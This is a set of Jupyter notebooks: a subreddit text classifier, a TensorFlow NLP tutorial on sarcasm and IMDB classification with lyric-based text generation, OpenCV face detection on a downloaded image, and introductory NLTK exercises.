{'vect__ngram_range': [(1, 1), (1, 2)],
'clf__C': (np.logspace(-5, 1, 5))},
{'vect__ngram_range': [(1, 1), (1, 2)],
'clf__max_depth': (1, 2)},
]
# + colab={"base_uri": "https://localhost:8080/", "height": 2726} colab_type="code" id="SKbKBg4_IcSm" outputId="a88bae1d-ea17-4c28-a3d3-823f787acc8a"
# %%time
models = []
for classifier, clf_name, params in zip(classifiers,
clf_names,
clf_params):
for vectorizer, vect_name in zip(vectorizers,
vect_names):
pipe = Pipeline([
('vect', vectorizer),
('clf', classifier),
])
gs = GridSearchCV(pipe,
param_grid=params,
n_jobs=-1,
scoring='accuracy',
cv=5,
verbose=10)
gs.fit(sg.selftext, sg.category_id)
score = gs.best_score_
print(f'''
Classifier: {clf_name}
Vectorizer: {vect_name}
Score: {gs.best_score_:.4f}
Params: {gs.best_params_}
------------------------------
''')
models.append((clf_name, vect_name, gs.best_score_, gs.best_params_))
# + colab={"base_uri": "https://localhost:8080/", "height": 126} colab_type="code" id="a-ABsMQwIcSs" outputId="1fcd44a2-5d4f-4a41-ac90-fc4b6ae878ff"
models = sorted(models, key=lambda tup: tup[2])
print('And the winner is...')
print()
print('Classifier:', models[-1][0])
print('Vectorizer:', models[-1][1])
print('Score:', models[-1][2])
print('Params:', models[-1][3])
# + colab={} colab_type="code" id="r49RtEZUIcSw"
model = Pipeline([('vect', TfidfVectorizer(ngram_range=(1, 2))),
('tfidf', TfidfTransformer()),
('clf-svm', LinearSVC(C=1.0, random_state=42)),
])
model.fit(X_train, y_train)
predicted = model.predict(X_test)
np.mean(predicted == y_test)
# +
# import pickle
# filename = 'sg_model.pkl'
# pickle.dump(model, open(filename, 'wb'))
# -
sg.category_id[:10]
len(sg.category_id)
len(sg.category_id.unique())
sg.subreddit.unique()
sg.category_id.unique()
mapping = dict(zip(sg.category_id.unique(), sg.subreddit.unique()))
mapping
| Subreddit Models v2 (VO).ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # About this notebook:
# This notebook is to sum up all the tensorflow techniques to deal with text data.
# # Pre-Processing
# ### i. Tokenizer :
# #### It allows to tokenize/encode all the words.
#
# 1. ***Attributes:***
# 1. **num_of_words** : Number of dictionary words.
# 2. **oov_token** : To deal with previously unseen words, this will token the unseen words with the given value .
# 2. ***Methods:***
# 1. **fit_on_texts**: This method fits the words and tokenize them. Same as train data.
# 2. **word_index**: This method contains all the tokenized word index.
# 2. **texts_to_sequences**: This method transforms text to sequence.it is used to encode a list of sentences to use those tokens.
# +
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.preprocessing.text import Tokenizer
tokenizer = Tokenizer(num_words = 100)
sample_lines = ['It is what it is', 'to be or not to be',
'you better keep up','i am better than you'
'you are a good person', 'this is not funny']
tokenizer.fit_on_texts(sample_lines)
print('Dictionary:', tokenizer.word_index)
print('\nTrain Sequence:',tokenizer.texts_to_sequences(sample_lines))
test_line = ['you are a funny person ', 'i am better than you', 'shut up']
print('\nTest Sequence: ',tokenizer.texts_to_sequences(test_line))
# -
# The **fit_on_texts** method uses the corpus of data as train data.It creates a dictionary of words. So if the the test data have any unmatched data with the train data, it will be blank/ lost, like the last sentence of the test_line. To avoid this problem we can use **oov_token**.
# ### ii. pad_sequences:
# #### This is used for padding all the sentences , so that all the lines are in same format. Returns a matrix of sequences.
#
# 1. Attributes:
# 1. **sequences** : sequences that needs padding.
# 2. **max_len** : max length of the padded sequence matrix.
# 3. **padding** : Padding types , pre or post.
# +
#updated code
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
tokenizer = Tokenizer(num_words = 100, oov_token = '<unseen>')
sample_lines = ['It is what it is', 'to be or not to be',
'you better keep up','i am better than you',
'you are a good person', 'this is not funny']
tokenizer.fit_on_texts(sample_lines)
word_index = tokenizer.word_index
sequences_train = tokenizer.texts_to_sequences(sample_lines)
print('Dictionary:\n', word_index)
print('===================================================\n Train Lines: \n',sample_lines )
print('Train Sequence(unpadded):\n', sequences_train)
print('Train Sequence(padded):\n', pad_sequences(sequences_train))
test_lines = ['you are a funny person ', 'i am better than you', 'shut up']
sequences_test = tokenizer.texts_to_sequences(test_lines)
print('===================================================\n Test Lines: \n',test_lines )
print('Test Sequence(unpadded): \n',sequences_test)
print('test Sequence(padded): \n', pad_sequences(sequences_test))
# -
# ### Using Tokenizer and pad_sequence on an Actual Dataset.
# +
# read from url and use the headlines as dataset.
url = "https://storage.googleapis.com/laurencemoroney-blog.appspot.com/sarcasm.json"
import urllib.request
import json
html = urllib.request.urlopen(url) # open the url
data = html.read() # read the content
dataset = json.loads(data) # parses the whole webpage & stores them in a variable.
article_link = []
headlines = []
is_sarcastic = []
for info in dataset:
article_link.append(info['article_link'])
headlines.append(info['headline'])
is_sarcastic.append(info['is_sarcastic'])
# preprocessing dataset
#fitting the data, tokenize then and get them on a word_index
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
tokenizer = Tokenizer(oov_token = '<unseen>')
tokenizer.fit_on_texts(headlines)
word_index = tokenizer.word_index
#print('Dictionary : ', word_index)
print('Length of Dictionary : ', len(word_index))
#text_to_seqeucnes transformation and then padding the sequences.
sequences = tokenizer.texts_to_sequences(headlines)
#showing the first sentence only
print('Sentence :',headlines[0])
print('Sequences (Unpadded): \n',sequences[0])
padded = pad_sequences(sequences)
print('Sequences (Padded): \n', padded[0])
print('Length of unpadded sequence : ', len(sequences[0]))
print('Length of padded sequence : ', len(padded[0]))
print("padded sequence length is the longest sentence's length in the corpus ")
print('Shape of padded matrix : ', padded.shape)
# -
# ## iii. Working on Datasets
#
# 1. **tfds.load**: it returns two value.
# a. **1st part (imdb)** : it has no tokenizied values. Manual pre-processing needed.
# b. **2nd part (info)** : it has pre-tokenized subwords.
# 2. **shuffle(buffer_size)** : In each repetition, this dataset fills a buffer with buffer_size elements, then randomly samples elements from this buffer, replacing the selected elements with new elements.
# 3. **Dataset.padded_batch([batch_size], [output_shape], padding_values=1)** : Combines consecutive elements of a dataset into padded batches
# 4. **tf.compat.v1.data.get_output_shapes(dataset)** : Returns the output shapes for elements of the input dataset / iterator.
# 5. **tf.keras.layers.Embedding(input_dim, output_dim, input_length)** : Turns positive integers (indexes) into dense vectors of fixed size.
# 6. **tf.keras.layers.Bidirectional(layer, merge_mode='concat', weights=None, backward_layer=None)** : Bidirectional wrapper for RNNs.
# 7. **tf.keras.layers.Dense(units, activation=None)** : regular densely-connected NN layer.
# 8. **tf.keras.utils.to_categorical(y, num_classes=None)** : Converts a class vector (integers) to binary class matrix.(one hot matrix)
# ### 1(a). Building a classifier on sarcasm dataset (no RNN):
# #### Step 1 : Build a sarcasm dataset preprocessing function for future usage
def preprocess_sarcasm():
#hyperparams
training_size = 20000
vocab_size = 10000
oov_tok = '<OOV>'
padding_type = 'post'
trunc_type = 'post'
max_len = 100
embedding_dim = 16
# import libraries and dataset
import json
import urllib.request
import tensorflow as tf
url = "https://storage.googleapis.com/laurencemoroney-blog.appspot.com/sarcasm.json"
html = urllib.request.urlopen(url)
info = html.read()
data = json.loads(info)
# we will use only the 'headline' & 'is_sarcastic' and get the sentences and labels.
sentences, labels = [], []
for i in data:
sentences.append(i['headline'])
labels.append(i['is_sarcastic'])
# Splitting the data and labels for train and test set.
train_sen = sentences[:training_size]
train_label = labels[:training_size]
test_sen = sentences[training_size:]
test_label = labels[training_size:]
# tokenize
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
tokenizer = Tokenizer(vocab_size, oov_token = oov_tok)
tokenizer.fit_on_texts(train_sen)
# get the sequences for train and test
train_seq = tokenizer.texts_to_sequences(train_sen)
test_seq = tokenizer.texts_to_sequences(test_sen)
# padding
train_padded = pad_sequences(train_seq, padding = padding_type, truncating = trunc_type, maxlen = max_len)
test_padded = pad_sequences(test_seq, padding = padding_type, truncating = trunc_type, maxlen = max_len)
# as tensorflow model need np.arrays for input, we will convert all the inputs to np.array
import numpy as np
train_padded_final = np.array(train_padded)
test_padded_final = np.array(test_padded)
train_label_final = np.array(train_label)
test_label_final = np.array(test_label)
return train_padded_final, test_padded_final, train_label_final, test_label_final, vocab_size, embedding_dim, max_len
# ### Step 2 : Build a plot_graph function for future usage.
# from the history variable, we can get the loss, accuracy, val_loss, val_accuracy params
# print(history.history.keys())
def plot_graph(history, with_validation):
if with_validation == True:
accuracy = history.history['accuracy']
val_accuracy = history.history['val_accuracy']
loss = history.history['loss']
val_loss = history.history['val_loss']
#now lets plot and visualize
import matplotlib.pyplot as plt
# %matplotlib inline
plt.figure(figsize = (10,6))
axis1, axis2 = plt.subplot(1, 2, 1), plt.subplot(1 , 2 , 2)
axis1.plot(accuracy, label = 'accuracy')
axis1.plot(val_accuracy, label = 'val_accuracy')
axis1.set_title('Train Acc vs Val Acc')
axis1.set_xlabel('Number of epochs')
axis1.set_ylabel('Accuracy')
axis1.legend()
axis2.plot(loss, label = 'loss')
axis2.plot(val_loss, label = 'val_loss')
axis2. set_title('Train Loss vs Val Loss')
axis2.set_xlabel('Number of epochs')
axis2.set_ylabel('Loss')
axis2.legend()
plt.suptitle("Visualization of Accuracy and Loss ")
plt.show()
elif with_validation == False:
accuracy = history.history['accuracy']
loss = history.history['loss']
#now lets plot and visualize
import matplotlib.pyplot as plt
# %matplotlib inline
plt.figure(figsize = (10,6))
axis1, axis2 = plt.subplot(1, 2, 1), plt.subplot(1 , 2 , 2)
axis1.plot(accuracy, label = 'accuracy')
axis1.set_title('Train Acc')
axis1.set_xlabel('Number of epochs')
axis1.set_ylabel('Accuracy')
axis1.legend()
axis2.plot(loss, label = 'loss')
axis2. set_title('Train Loss ')
axis2.set_xlabel('Number of epochs')
axis2.set_ylabel('Loss')
axis2.legend()
plt.suptitle("Visualization of Accuracy and Loss ")
plt.show()
# ### Step 3 : Putting Everything together.
train_padded_final, test_padded_final, train_label_final, test_label_final, vocab_size, embedding_dim, max_len = preprocess_sarcasm()
# model build and compile
model = tf.keras.Sequential([
tf.keras.layers.Embedding(input_dim = vocab_size, output_dim = embedding_dim, input_length = max_len),
tf.keras.layers.GlobalAveragePooling1D(),
tf.keras.layers.Dense(units = 24, activation = 'relu'),
tf.keras.layers.Dense(units = 1, activation = 'sigmoid')
])
model.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])
model.summary()
# model train
history_sarcasm_normal = model.fit(train_padded_final, train_label_final, epochs = 10,
validation_data = (test_padded_final, test_label_final))
# visualize
plot_graph(history_sarcasm_normal, with_validation = True)
# ### 1(b). Building a classifier on sarcasm dataset (Single layer LSTM):
# +
train_padded_final, test_padded_final, train_label_final, test_label_final, vocab_size, embedding_dim, max_len = preprocess_sarcasm()
# model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_len),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(32)),
tf.keras.layers.Dense(24, activation='relu'),
tf.keras.layers.Dense(1, activation='sigmoid')
])
# model compile
model.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])
# model train
history_sarcasm_single_lstm = model.fit(train_padded_final, train_label_final, epochs = 10,
validation_data = (test_padded_final, test_label_final))
# visualize
plot_graph(history_sarcasm_single_lstm, with_validation = True)
# -
# ### 1(c). Building a classifier on sarcasm dataset (Single Layer Convolution):
# +
train_padded_final, test_padded_final, train_label_final, test_label_final, vocab_size, embedding_dim, max_len = preprocess_sarcasm()
#model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_len),
tf.keras.layers.Conv1D(128, 5, activation='relu'),
tf.keras.layers.GlobalMaxPooling1D(),
tf.keras.layers.Dense(24, activation='relu'),
tf.keras.layers.Dense(1, activation='sigmoid')
])
# model compile
model.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])
# model train
history_sarcasm_single_gru = model.fit(train_padded_final, train_label_final, epochs = 10,
validation_data = (test_padded_final, test_label_final))
# visualize
plot_graph(history_sarcasm_single_gru, with_validation = True)
# -
# ### 2(a). Working on IMDB dataset (no RNN)
#
# 1. Import the imdb_review dataset, retrieve the train and test sentences and labels, tokenize and pad them and return them in a function.
# 2. Then build a model, train and output accuracy.
def preprocessing_imdb_review():
# import and load the imdb dataset.
import tensorflow as tf
import numpy as np
import tensorflow_datasets as tfds
imdb, info = tfds.load('imdb_reviews', with_info = True, as_supervised = True)
# retrieve the train & test sentences and labels [extract values from tensors]
train_set, test_set = imdb['train'], imdb['test']
train_sen, test_sen = [], []
train_labels, test_labels = [], []
for sen, label in train_set:
train_sen.append(str(sen.numpy()))
train_labels.append(label.numpy())
for sen, label in test_set:
test_sen.append(str(sen.numpy()))
test_labels.append(label.numpy())
# tensorflow requires to use numpy arrays.
train_labels_final = np.array(train_labels)
test_labels_final = np.array(test_labels)
# hyperparameters
oov_tok = '<OOV>'
vocab_size = 10000
embedding_dim = 16
max_len = 120
# tokenizing and padding
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
tokenizer = Tokenizer(num_words = vocab_size, oov_token = oov_tok)
tokenizer.fit_on_texts(train_sen)
word_index = tokenizer.word_index
train_seq = tokenizer.texts_to_sequences(train_sen)
train_padded = pad_sequences(train_seq, maxlen = max_len)
test_seq = tokenizer.texts_to_sequences(test_sen)
test_padded = pad_sequences(test_seq, maxlen = max_len)
return train_padded, test_padded, train_labels_final, test_labels_final, vocab_size, embedding_dim, max_len
# +
train_padded, test_padded, train_labels_final, test_labels_final, vocab_size, embedding_dim, max_len = preprocessing_imdb_review()
#model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(input_dim = vocab_size, output_dim = embedding_dim, input_length = max_len),
tf.keras.layers.Flatten(),
tf.keras.layers.Dense(units = 6, activation = 'relu'),
tf.keras.layers.Dense(units = 1, activation = 'sigmoid')
])
#model compile
model.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])
print(model.summary())
#model train
history_imdb_normal = model.fit(x = train_padded, y = train_labels_final, epochs = 10,
validation_data = (test_padded, test_labels_final))
# visualize
plot_graph(history_imdb_normal, with_validation = True)
# -
# ### 2(a). Working on IMDB dataset (GRU)
# +
train_padded, test_padded, train_labels_final, test_labels_final, vocab_size, embedding_dim, max_len = preprocessing_imdb_review()
#model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(vocab_size, embedding_dim, input_length=max_len),
tf.keras.layers.Bidirectional(tf.keras.layers.GRU(32)),
tf.keras.layers.Dense(6, activation='relu'),
tf.keras.layers.Dense(1, activation='sigmoid')
])
#model compile
model.compile(loss='binary_crossentropy',optimizer='adam',metrics=['accuracy'])
#model train
history_imdb_gru = model.fit(x = train_padded, y = train_labels_final, epochs = 10,
validation_data = (test_padded, test_labels_final))
# visualize
plot_graph(history_imdb_gru, with_validation = True)
# -
# ### 3. Working on the 'imdb_reviews/subwords8k' dataset
#
# #### create e function for pre_processing for future usage
# import data set and ready the train and test set
def pre_process(dataset_name):
import tensorflow as tf
import tensorflow_datasets as tfds
imdb, info = tfds.load(dataset_name, with_info = True, as_supervised = True)
train_set, test_set = imdb['train'], imdb['test']
# tokenize and padding.
tokenizer = info.features['text'].encoder
# shuffle for better generalization
train_set = train_set.shuffle(buffer_size = 10000)
# padding
batch_size = 64
padded_shape_train = tf.compat.v1.data.get_output_shapes(train_set)
train_set = train_set.padded_batch(batch_size, padded_shape_train)
padded_shape_test = tf.compat.v1.data.get_output_shapes(test_set)
test_set = test_set.padded_batch(batch_size, padded_shape_test)
return train_set, test_set
# ### 3(a). Working on subwords8k dataset(Single Layer LSTM)
# +
train_set, test_set = pre_process('imdb_reviews/subwords8k')
# model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(tokenizer.vocab_size, 64),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64)),
tf.keras.layers.Dense(units = 64, activation = 'relu'),
tf.keras.layers.Dense(units = 1, activation = 'sigmoid')
])
# model compile
model.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['accuracy'])
# model train
history_single_lstm = model.fit(train_set, epochs = 10, validation_data = test_set)
# -
# visualize the loss and accuracy
plot_graph(history_single_lstm, with_validation = True)
# ### 3(b). Working on subwords8k dataset(Multiple Layer LSTM)
# +
# dataset preprocess
train_set, test_set = pre_process('imdb_reviews/subwords8k')
# model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(tokenizer.vocab_size, 64),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64, return_sequences=True)),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(32)),
tf.keras.layers.Dense(units = 64, activation = 'relu'),
tf.keras.layers.Dense(units = 1, activation = 'sigmoid')
])
# model compile
model.compile(loss = 'binary_crossentropy', optimizer = 'adam', metrics = ['accuracy'])
# model train
history_multi_lstm = model.fit(train_set, epochs = 1, validation_data = test_set)
# visualize the loss and accuracy
plot_graph(history_single_lstm, with_validation = True)
# -
# ### 3(c). Working on subwords8k dataset(Single Layer Convolution)
# dataset preprocess
train_set, test_set = pre_process('imdb_reviews/subwords8k')
# model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(input_dim = tokenizer.vocab_size, output_dim = 64),
tf.keras.layers.Conv1D(128, 5, activation = 'relu'),
tf.keras.layers.GlobalAveragePooling1D(),
tf.keras.layers.Dense(units = 64, activation = 'relu'),
tf.keras.layers.Dense(units = 1, activation = 'sigmoid')
])
# model compile
model.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])
# model train
history_multi_gru = model.fit(train_set, epochs = 5, validation_data = test_set)
# visualize the loss and accuracy
plot_graph(history_multi_gru, with_validation = True)
# # Generating Text
#
# ## 1(a). Building a model fo custom songs.
# +
# import Libraries
import tensorflow as tf
import numpy as np
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
# Data Preprocessing
lawrence="In the town of Athy one <NAME> \n Battered away til he hadnt a pound. \nHis father died and made him a man again \n Left him a farm and ten acres of ground. \nHe gave a grand party for friends and relations \nWho didnt forget him when come to the wall, \nAnd if youll but listen Ill make your eyes glisten \nOf the rows and the ructions of Lanigans Ball. \nMyself to be sure got free invitation, \nFor all the nice girls and boys I might ask, \nAnd just in a minute both friends and relations \nWere dancing round merry as bees round a cask. \n<NAME>, that nice little milliner, \nShe tipped me a wink for to give her a call, \nAnd I soon arrived with Peggy McGilligan \nJust in time for Lanigans Ball. \nThere were lashings of punch and wine for the ladies, \nPotatoes and cakes; there was bacon and tea, \nThere were the Nolans, Dolans, OGradys \nCourting the girls and dancing away. \nSongs they went round as plenty as water, \nThe harp that once sounded in Taras old hall,\nSweet Nelly Gray and The Rat Catchers Daughter,\nAll singing together at Lanigans Ball. \nThey were doing all kinds of nonsensical polkas \nAll round the room in a whirligig. \nJulia and I, we banished their nonsense \nAnd tipped them the twist of a reel and a jig. \nAch mavrone, how the girls got all mad at me \nDanced til youd think the ceiling would fall. \nFor I spent three weeks at Brooks Academy \nLearning new steps for Lanigans Ball. \nThree long weeks I spent up in Dublin, \nThree long weeks to learn nothing at all,\n Three long weeks I spent up in Dublin, \nLearning new steps for Lanigans Ball. \nShe stepped out and I stepped in again, \nI stepped out and she stepped in again, \nShe stepped out and I stepped in again, \nLearning new steps for Lanigans Ball. \nBoys were all merry and the girls they were hearty \nAnd danced all around in couples and groups, \nTil an accident happened, young <NAME> \nPut his right leg through miss Finnertys hoops. \nPoor creature fainted and cried Meelia murther, \nCalled for her brothers and gathered them all. \nCarmody swore that hed go no further \nTil he had satisfaction at Lanigans Ball. \nIn the midst of the row miss Kerrigan fainted, \nHer cheeks at the same time as red as a rose. \nSome of the lads declared she was painted, \nShe took a small drop too much, I suppose. \nHer sweetheart, <NAME>, so powerful and able, \nWhen he saw his fair colleen stretched out by the wall, \nTore the left leg from under the table \nAnd smashed all the Chaneys at Lanigans Ball. \nBoys, oh boys, twas then there were runctions. \nMyself got a lick from big P<NAME>. \nI soon replied to his introduction \nAnd kicked up a terrible hullabaloo. \n<NAME>, the piper, was near being strangled. \nThey squeezed up his pipes, bellows, chanters and all. \nThe girls, in their ribbons, they got all entangled \nAnd that put an end to Lanigans Ball."
take_me_ride = "If you want to go away from your shell\nTo free yourself finally get out of your cell\nYou said there is a place where you used to hide\nWhere no one ever asks what you got on your mind\nYou said it is a place where the trees grow so high\nThat if you reach the top you can tickle the sky\nThere is a silver river that never ever runs dry\nWhere if you take a swim you will learn how to fly\nSo would you take me for a ride?\nTake me by your side, take me with you\nTake me for a ride, take me by your side, take me with you\nTake me for a ride, take me by your side take me with you\nTake me for a ride, take me by your side, take me with you\nIs this real? It kinda looks like a dream\nIt is even better than I could have imagined\nI wanna fly high and try to tickle the sky\nBut wait a minute, how did we get so high?\nWell I do not care much as long as I see your face\nAnd remember the day when I embraced the space\nWhen you did take me for a ride\nTake me by your side, take me with you\nTake me for a ride, take me by your side, take me with you\nTake me for a ride, take me by your side, take me with you\nTake me for a ride, take me by your side, take me with you\nYeah I want you to know that (oh, oh, oh)\nI would really want to go (oh, oh, oh)\nIf you want me to go (oh, oh, oh)\nI would really want to go (oh, oh, oh)\n\nSo would you take me for a ride?\n\nSome day I would really want to go out\n\nYeah, when the air I breathe will get me full of doubt\n\nSo would you take me where we used to hide\n\nThen nobody will ask what I got on my mind\n\nSo would you\n\nTake me for a ride, take me by your side, take me with you\n\nTake me for a ride, take me by your side, take me with you\n\nTake me for a ride, take me by your side, take me with you\n\nTake me for a ride, take me by your side, take me with you\n\nYeah I want you to know that (oh, oh, oh)\nI would really want to go (oh, oh, oh)\nIf you want me to go (oh, oh, oh)\nI would really want to go (oh, oh, oh)\nSo would you take me for a ride?\n"
let_it_be = 'When I find myself in times of trouble\nMother Mary comes to me\nSpeaking words of wisdom, let it be\nAnd in my hour of darkness\nShe is standing right in front of me\nSpeaking words of wisdom, let it be\nLet it be, let it be\nLet it be, let it be\nWhisper words of wisdom, let it be\nAnd when the broken-hearted people\nLiving in the world agree\nThere will be an answer, let it be\nFor though they may be parted\nThere is still a chance that they will see\nThere will be an answer, let it be\nLet it be, let it be\nLet it be, let it be\nYeah, there will be an answer, let it be\nLet it be, let it be\nLet it be, let it be\nWhisper words of wisdom, let it be\nLet it be, let it be\nLet it be, yeah, let it be\nWhisper words of wisdom, let it be\nAnd when the night is cloudy\nThere is still a light that shines on me\nShine on til tomorrow, let it be\nI wake up to the sound of music\n<NAME> comes to me\nSpeaking words of wisdom, let it be\nLet it be, let it be\nLet it be, yeah, let it be\There will be an answer, let it be\nLet it be, let it be\nLet it be, yeah, let it be\nThere will be an answer, let it be\nLet it be, let it be\nLet it be, yeah, let it be\nWhisper words of wisdom, let it be\n'
hold_hand = "Oh yeah, I will tell you something\nI think you will understand\nWhen I say that something\nI want to hold your hand\nI want to hold your hand\nI want to hold your hand\nOh please, say to me\nYou will let me be your man\nAnd please, say to me\nYou will let me hold your hand\nNow, let me hold your hand\nI want to hold your hand\nAnd when I touch you\nI feel happy inside\nIt is such a feeling that my love\nI can not hide\nI can not hide\nI can not hide\nYeah, you got that something\nI think you will understand\When I say that something\nI want to hold your hand\nI want to hold your hand\nI want to hold your hand\nAnd when I touch you\nI feel happy inside\It is such a feeling that my love\nI can not hide\nI can not hide\I can not hide\nYeah, you got that something\nI think you will understand\nWhen I feel that something\nI want to hold your hand\nI want to hold your hand\nI want to hold your hand\nI want to hold your hand\n"
songs = [lawrence, take_me_ride, let_it_be, hold_hand]
dataset = songs[3].lower().split('\n')
# # tokenize
tokenizer = Tokenizer()
tokenizer.fit_on_texts(dataset)
total_words = len(tokenizer.word_index) + 1
sequences = []
for line in dataset:
single_seq = tokenizer.texts_to_sequences([line])[0]
for i in range(1, len(single_seq)):
sequences.append(single_seq[:i+1])
# # padding
max_len = max([len(i) for i in sequences])
padded_seq = pad_sequences(sequences, maxlen = max_len, padding = 'pre')
# creating predictor and labels
xs, labels = padded_seq[:, :-1], padded_seq[:, -1]
# converts the labels to one-hot matrix
ys = tf.keras.utils.to_categorical(labels, num_classes = total_words)
# Model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(input_dim = total_words, output_dim = 64, input_length = max_len),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64)),
tf.keras.layers.Dense(units = total_words, activation = 'softmax')
])
# Model compile
model.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['accuracy'])
# Model train
history_gen = model.fit(xs, ys, epochs = 500)
# visualize
plot_graph(history_gen, with_validation = False)
# -
# ## 1(b). Generating text
# +
seed_text = "i feel something"
next_words = 50
for _ in range(next_words):
token_list = tokenizer.texts_to_sequences([seed_text])[0]
token_list = pad_sequences([token_list], maxlen=max_len-1, padding='pre')
predicted = model.predict_classes(token_list, verbose=0)
output_word = ""
for word, index in tokenizer.word_index.items():
if index == predicted:
output_word = word
break
seed_text += " " + output_word
print(seed_text)
# -
# ## 2(a). Building a model for Irish songs [from URL data]
# +
# import Libraries
import tensorflow as tf
import numpy as np
import json
import urllib.request
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
# dataset load and retrieve text data
url = "https://storage.googleapis.com/laurencemoroney-blog.appspot.com/irish-lyrics-eof.txt"
html = urllib.request.urlopen(url)
data = []
for line in html:
decoded_line = line.decode('utf_8').strip()
data.append(decoded_line)
# tokenize
tokenizer = Tokenizer()
tokenizer.fit_on_texts(data)
total_words = len(tokenizer.word_index) + 1
# making sequence
sequences = []
for line in data:
single_seq = tokenizer.texts_to_sequences([line])[0]
for i in range(1, len(single_seq)):
sequences.append(single_seq[:i+1])
# padding
max_len = max([len(n) for n in sequences])
padded_seq = pad_sequences(sequences, maxlen = max_len, padding = 'pre')
# making xs and ys
xs, labels = padded_seq[:, :-1], padded_seq[:, -1]
ys = tf.keras.utils.to_categorical(labels, num_classes=total_words)
# model build
model = tf.keras.Sequential([
tf.keras.layers.Embedding(input_dim = total_words, output_dim = 128, input_length = max_len-1),
tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(100)),
tf.keras.layers.Dense(units = total_words, activation = 'softmax')
])
# model compile
from tensorflow.keras.optimizers import Adam
adam = Adam(lr = 0.01)
model.compile(optimizer=adam, loss='categorical_crossentropy', metrics=['accuracy'])
# model train
history_sheks = model.fit(xs, ys, epochs = 100)
# -
#visualize
plot_graph(history_sheks, with_validation = False)
# ## 2(b). Generating text
# +
seed_text = "I've got a bad feeling about this"
next_words = 200
for _ in range(next_words):
token_list = tokenizer.texts_to_sequences([seed_text])[0]
token_list = pad_sequences([token_list], maxlen=maxlen-1, padding='pre')
predicted = model.predict_classes(token_list, verbose=0)
output_word = ""
for word, index in tokenizer.word_index.items():
if index == predicted:
output_word = word
break
seed_text += " " + output_word
print(seed_text)
# -
| tf_NLP.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# name: python3
# ---
# + [markdown] id="view-in-github" colab_type="text"
# <a href="https://colab.research.google.com/github/buiduongthuytien/GifHub/blob/master/Untitled3.ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + id="Xq6PM_yHzXTX" colab_type="code" colab={"base_uri": "https://localhost:8080/", "height": 399} outputId="31bf83a3-9a95-4550-d317-82c1f785e932"
import numpy as np
import urllib
import matplotlib.pyplot as plt
import cv2
# a function to read image from an url
def url2image(url):
resp = urlopen(url)
image = np.asarray(bytearray(resp.read()), dtype='uint8')
image = cv2.imdecode(image, cv2.IMREAD_COLOR)
return image
import sys
if sys.version_info[0] ==3:
from urllib.request import urlopen
else:
from urllib import urlopen
import os.path
# MAIN
# Load image from url
bgr_img = url2image('http://i1.taimienphi.vn/tmp/cf/aut/hinh-anh-nguoi-mau.jpg')
gray_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2GRAY)
face_classifier_xml = 'haarcascade_frontalface_default.xml'
ret = os.path.exists(face_classifier_xml)
if ret:
print('The cascade classifier xml file already existed\n ')
else:
print('Downloading the cascade classifier xml file from Internet ...\n')
face_classifier_url = 'https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml'
resp = urlopen(face_classifier_url)
data = resp.read()
# open the file for writing
fh = open(face_classifier_xml, "wb")
#read from request while writing to file
fh.write(data)
fh.close()
resp.close()
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
faces = face_cascade.detectMultiScale(gray_img, 1.25, 3)
for (x,y,w,h) in faces:
cv2.rectangle(bgr_img,(x,y),(x+w,y+h),(255,0,0), 4)
plt.axis('off')
plt.title('Face detection result')
plt.imshow(cv2.cvtColor(bgr_img, cv2.COLOR_BGR2RGB))
plt.show()
| Untitled3.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import nltk
from nltk.book import *
text3
text1.count("the")
text1.concordance("monstrous")
text1.similar("monstrous")
text2.similar("monstrous")
text2.common_contexts(["monstrous", "very"])
text4.similar("nation")
text4.common_contexts(["nation", "future"])
text4.dispersion_plot(["citizens", "democracy", "freedom", "duties", "America", "one", "slave"])
len(text3)
len(sorted(set(text3)))
len(set(text3)) / len(text3)
100 * text4.count("the") / len(text4)
# +
def lexical_diversity(text):
